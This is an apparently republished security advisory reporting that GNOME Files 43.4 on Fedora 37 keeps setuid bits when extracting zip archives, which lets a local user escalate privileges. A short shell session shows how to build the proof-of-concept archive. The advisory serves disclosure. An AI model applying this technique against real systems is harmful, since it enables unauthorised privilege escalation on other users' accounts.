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GNOME Files 43.4 Privilege Escalation

GNOME Files 43.4 Privilege Escalation
Posted Aug 8, 2023
Authored by Georgi Guninski

GNOME Files version 43.4 (nautilus) on Fedora 37 will extract zip archives with setuid files for other user identifiers that can be leveraged to escalate privileges.

tags | exploit
systems | linux, fedora
SHA-256 | ac80117ac673973985c2dd78f43ddd88009c6d2d28c771696ceaab5aceb3f410

GNOME Files 43.4 Privilege Escalation

Change Mirror Download
Affected: GNOME Files 43.4 (nautilus) on fedora 37

Description:

If an user A opens in GNOME files zip archive containing
`setuid` file F, then F will be silently extracted to
a subdirectory of CWD.

If F is accessible by hostile local user B and B executes F,
then F will be executed as from user A.

tar(1) and unzip(1) are not vulnerable to this attack.

Session for creating the ZIP.
After that just open f.zip in GNOME files.
<pre>
[joro@fedora ~]$ umask
0022
[joro@fedora 2]$ mkdir /tmp/2 ; cd /tmp/2 ; echo hi > F ; chmod +xs F
[joro@fedora 2]$ zip f F ; zipinfo f
Archive: f.zip
Zip file size: 155 bytes, number of entries: 1
-rwsr-sr-x 3.0 unx 3 tx stor 23-Aug-05 12:38 F
[joro@fedora 2]$ ls -ld /tmp/2/
drwxr-xr-x. 2 joro joro 80 Aug 5 11:20 /tmp/2/
[joro@fedora 2]$
</pre>
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